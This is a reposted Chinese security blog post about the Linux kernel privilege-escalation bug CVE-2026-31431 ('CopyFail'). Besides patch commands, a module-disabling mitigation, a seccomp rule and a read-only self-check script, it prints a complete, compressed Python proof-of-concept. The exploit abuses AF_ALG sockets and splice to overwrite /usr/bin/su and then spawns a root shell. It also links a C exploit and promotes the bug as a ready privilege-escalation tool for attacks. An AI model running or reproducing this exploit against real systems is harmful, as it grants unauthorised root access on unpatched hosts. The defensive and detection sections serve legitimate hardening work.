Linux又出“金色传说”,速修!自检脚本、利用脚本自取!

admin 2026-05-01 05:42:49 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 文档披露Linux内核高危漏洞CVE-2026-31431(CopyFail),该漏洞允许本地提权,影响内网安全。提供了官方PythonPOC和社区C版本利用脚本,修复方案包括升级至内核6.18.22+/6.19.12+并重启,或临时禁用algifaead模块。附赠自检脚本可评估风险等级,容器环境需配置seccomp策略阻断AFALG套接字。 综合评分: 88 文章分类: 漏洞分析,漏洞预警,解决方案,应急响应,安全工具


cover_image

Linux又出“金色传说”,速修!自检脚本、利用脚本自取!

FL_Clover FL_Clover

网络安全007

2026年4月30日 16:17 广东

在小说阅读器读本章

去阅读

一、【漏洞情报速递说明】

    今早起来,各大朋友圈以及群聊已经炸开,听说Linux又出金了,时隔不久,看来对于内网需要提取的小伙伴们又开心了,接下来HW的时候遇到shell的时候何又尝不是一个提权好手!

  还有大手子已经开始各种版本的利用工具编写,技术深度分析,简要复现方式以及提醒各位的修复方式……

   1.POC官方已出

#!/usr/bin/env python3import&nbsp;os as g,zlib,socket as sdef&nbsp;d(x):return bytes.fromhex(x)def&nbsp;c(f,t,c):&nbsp;a=s.socket(38,5,0);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'*64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b"A"*4+c],[(h,3,i*4),(h,2,b'\x10'+i*19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o)&nbsp;try:u.recv(8+t)&nbsp;except:0f=g.open("/usr/bin/su",0);i=0;e=zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"))while&nbsp;i<len(e):c(f,i,e[i:i+4]);i+=4g.system("su")

   2.崇拜的大手子也出了C版本的利用脚本

安全社大手子脚本下载地址:https://github.com/0xShe/CVE-2026-31431

 3.修复方式

(1)官方补丁已合并至Linux主线内核(提交号 a664bf3d603d),必须重启生效。不同发行版操作如下:

##Ubuntu/Debiansudo&nbsp;apt update &&&nbsp;sudo&nbsp;apt full-upgrade -ysudo&nbsp;reboot##RHEL/CentOS/Rocky/Alma Linuxsudo&nbsp;dnf update kernel -ysudo&nbsp;reboot##Amazon Linux 2023sudo&nbsp;dnf update kernel -ysudo&nbsp;reboot##SUSE/openSUSEsudo&nbsp;zypper refresh &&&nbsp;sudo&nbsp;zypper patch -ysudo&nbsp;reboot

重启完别忘了验证一下,也有部分失败的案例,稳妥为上。

#升级后确认内核版本:uname&nbsp;-r#输出需包含补丁提交号 a664bf3d603d 或更高(如 6.18.22+、6.19.12+ 等)。#检查模块状态:lsmod | grep algif_aead#应无输出,表示模块未被加载(补丁已回退问题逻辑)#进一步验证grep -r&nbsp;"a664bf3d603d"&nbsp;/proc/version 2>/dev/null ||&nbsp;uname&nbsp;-r&nbsp;#验证一下是否包含修复commit,以及对比发行版官方公告中的修复版本号

(2)临时缓解措施

 禁用 algif_aead 内核模块,临时阻断攻击面,但仍存在风险,需要注意。

echo&nbsp;"install algif_aead /bin/false"&nbsp;|&nbsp;sudo&nbsp;tee&nbsp;/etc/modprobe.d/disable-algif-aead.confsudo&nbsp;rmmod algif_aead 2>/dev/null ||&nbsp;true

(3)容器/云环境额外防护

配置seccomp策略,在Kubernetes或Docker中禁止创建 AF_ALG 套接字(family=38)

"syscalls":&nbsp;[{&nbsp;&nbsp;"names":&nbsp;["socket"],&nbsp;&nbsp;"action":&nbsp;"SCMP_ACT_ERRNO",&nbsp;&nbsp;"args":&nbsp;[{"index":&nbsp;0,&nbsp;"value":&nbsp;38,&nbsp;"op":&nbsp;"SCMP_CMP_EQ"}]}]

4.参考资料&文章:

[1].https://copy.fail/

[2].https://github.com/theori-io/copy-fail-CVE-2026-31431

[3].https://github.com/0xShe/CVE-2026-31431

二、【自检脚本】

自行保存文件为.sh文件,给个执行权限即可。

#!/bin/bash# CVE-2026-31431 (Copy Fail) 漏洞检测脚本# by wangluoanquan007 | 安全无害,仅执行只读检测# 用法:bash check_cve-2026-31431.shRED='\033[0;31m'GREEN='\033[0;32m'YELLOW='\033[0;33m'NC='\033[0m'&nbsp;# 重置颜色echo&nbsp;-e&nbsp;"${YELLOW}===== CVE-2026-31431 (Copy Fail) 漏洞检测脚本 =====${NC}"echo&nbsp;-e&nbsp;"检测原理:1. 检查内核版本 2. 验证 algif_aead 模块状态 3. 安全测试 AF_ALG 套接字(仅检测不利用)\n"# 1. 检查内核版本是否低于安全阈值kernel_vuln=0kernel_version=$(uname&nbsp;-r |&nbsp;cut&nbsp;-d'-'&nbsp;-f1)major=$(echo&nbsp;"$kernel_version"&nbsp;|&nbsp;cut&nbsp;-d. -f1)minor=$(echo&nbsp;"$kernel_version"&nbsp;|&nbsp;cut&nbsp;-d. -f2)patch=$(echo&nbsp;"$kernel_version"&nbsp;|&nbsp;cut&nbsp;-d. -f3 | grep -o&nbsp;'^[0-9]*')# 安全内核版本:主线 >=6.18.22 或 >=6.19.12(补丁提交 a664bf3d603d)is_safe_kernel() {&nbsp; &nbsp;&nbsp;if&nbsp;[&nbsp;"$major"&nbsp;-gt 6 ];&nbsp;then&nbsp;return&nbsp;0;&nbsp;fi&nbsp; &nbsp;&nbsp;if&nbsp;[&nbsp;"$major"&nbsp;-eq 6 ] && [&nbsp;"$minor"&nbsp;-gt 19 ];&nbsp;then&nbsp;return&nbsp;0;&nbsp;fi&nbsp; &nbsp;&nbsp;if&nbsp;[&nbsp;"$major"&nbsp;-eq 6 ] && [&nbsp;"$minor"&nbsp;-eq 19 ] && [&nbsp;"$patch"&nbsp;-ge 12 ];&nbsp;then&nbsp;return&nbsp;0;&nbsp;fi&nbsp; &nbsp;&nbsp;if&nbsp;[&nbsp;"$major"&nbsp;-eq 6 ] && [&nbsp;"$minor"&nbsp;-eq 18 ] && [&nbsp;"$patch"&nbsp;-ge 22 ];&nbsp;then&nbsp;return&nbsp;0;&nbsp;fi&nbsp; &nbsp;&nbsp;return&nbsp;1}if&nbsp;is_safe_kernel;&nbsp;then&nbsp; &nbsp;&nbsp;echo&nbsp;-e&nbsp;"[✓] 内核版本&nbsp;${kernel_version}&nbsp;已修复漏洞(安全阈值:6.18.22+/6.19.12+)"else&nbsp; &nbsp;&nbsp;echo&nbsp;-e&nbsp;"[${RED}✗${NC}] 内核版本&nbsp;${kernel_version}&nbsp;受影响!需升级至 6.18.22+ 或 6.19.12+"&nbsp; &nbsp; kernel_vuln=1fi# 2. 检查 algif_aead 模块是否可加载modprobe -n -q algif_aead 2>/dev/nullmodule_loadable=$?if&nbsp;[&nbsp;$module_loadable&nbsp;-eq 0 ];&nbsp;then&nbsp; &nbsp;&nbsp;echo&nbsp;-e&nbsp;"[${RED}✗${NC}] algif_aead 模块可加载(存在攻击面)"else&nbsp; &nbsp;&nbsp;echo&nbsp;-e&nbsp;"[✓] algif_aead 模块已禁用(无攻击面)"fi# 3. 安全测试 AF_ALG 套接字(仅创建后立即关闭,不执行写操作)af_alg_test() {&nbsp; &nbsp; python3 -c&nbsp;"import socket; s=socket.socket(38,1,0); s.close(); print('SUCCESS')"&nbsp;2>/dev/null&nbsp; &nbsp;&nbsp;return&nbsp;$?}if&nbsp;af_alg_test;&nbsp;then&nbsp; &nbsp;&nbsp;echo&nbsp;-e&nbsp;"[${RED}✗${NC}] 系统允许创建 AF_ALG 套接字(family=38),存在漏洞利用条件"&nbsp; &nbsp; vuln_exploitable=1else&nbsp; &nbsp;&nbsp;echo&nbsp;-e&nbsp;"[✓] AF_ALG 套接字已被阻断(安全)"&nbsp; &nbsp; vuln_exploitable=0fi# 4. 综合风险评估echo&nbsp;-e&nbsp;"\n${YELLOW}===== 风险评估 =====${NC}"if&nbsp;[&nbsp;$kernel_vuln&nbsp;-eq 0 ] && [&nbsp;$vuln_exploitable&nbsp;-eq 0 ];&nbsp;then&nbsp; &nbsp;&nbsp;echo&nbsp;-e&nbsp;"${GREEN}[安全] 系统已修复漏洞,无需操作${NC}"elif&nbsp;[&nbsp;$kernel_vuln&nbsp;-eq 1 ] && [&nbsp;$vuln_exploitable&nbsp;-eq 1 ];&nbsp;then&nbsp; &nbsp;&nbsp;echo&nbsp;-e&nbsp;"${RED}[高危] 内核未修复且存在攻击面!请立即升级内核${NC}"&nbsp; &nbsp;&nbsp;echo&nbsp;-e&nbsp;"修复命令:sudo apt update && sudo apt full-upgrade -y && sudo reboot &nbsp;# Ubuntu/Debian"&nbsp; &nbsp;&nbsp;echo&nbsp;-e&nbsp;" &nbsp; &nbsp; &nbsp; &nbsp;sudo dnf update kernel -y && sudo reboot &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; # RHEL/CentOS"elif&nbsp;[&nbsp;$kernel_vuln&nbsp;-eq 1 ] && [&nbsp;$vuln_exploitable&nbsp;-eq 0 ];&nbsp;then&nbsp; &nbsp;&nbsp;echo&nbsp;-e&nbsp;"${YELLOW}[中危] 内核未修复但攻击面已阻断(临时缓解生效)${NC}"&nbsp; &nbsp;&nbsp;echo&nbsp;-e&nbsp;"建议:仍需升级内核(临时措施无法彻底修复)"else&nbsp; &nbsp;&nbsp;echo&nbsp;-e&nbsp;"${GREEN}[安全] 攻击面已阻断,但建议升级内核以彻底修复${NC}"fi# 5. 附加信息echo&nbsp;-e&nbsp;"\n${YELLOW}附加说明:${NC}"echo&nbsp;"• 本脚本仅检测不利用,不会触发实际漏洞"echo&nbsp;"• 临时禁用攻击面命令:echo 'install algif_aead /bin/false' | sudo tee /etc/modprobe.d/disable-algif-aead.conf"

三、【广告时间】

免责声明:

 本文章仅做网络安全技术研究使用!另利用网络安全007公众号所提供的所有信息进行违法犯罪或造成任何后果及损失,均由使用者自身承担负责,与网络安全007公众号无任何关系,也不为其负任何责任,请各位自重!公众号发表的一切文章如有侵权烦请私信联系告知,我们会立即删除并对您表达最诚挚的歉意!感谢您的理解!让我们一起为中国网络安全事业尽一份自己的绵薄之力!

—推荐阅读—

攻防演习系列

渗透技术文章系列

未授权漏洞系列

HW专项系列

应急响应系列

工具推荐系列

写作不易,分享快乐

期待你的 分享点赞●在看●关注●收藏****


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:网络安全007 FLClover FLClover《Linux又出“金色传说”,速修!自检脚本、利用脚本自取!》

评论:0   参与:  0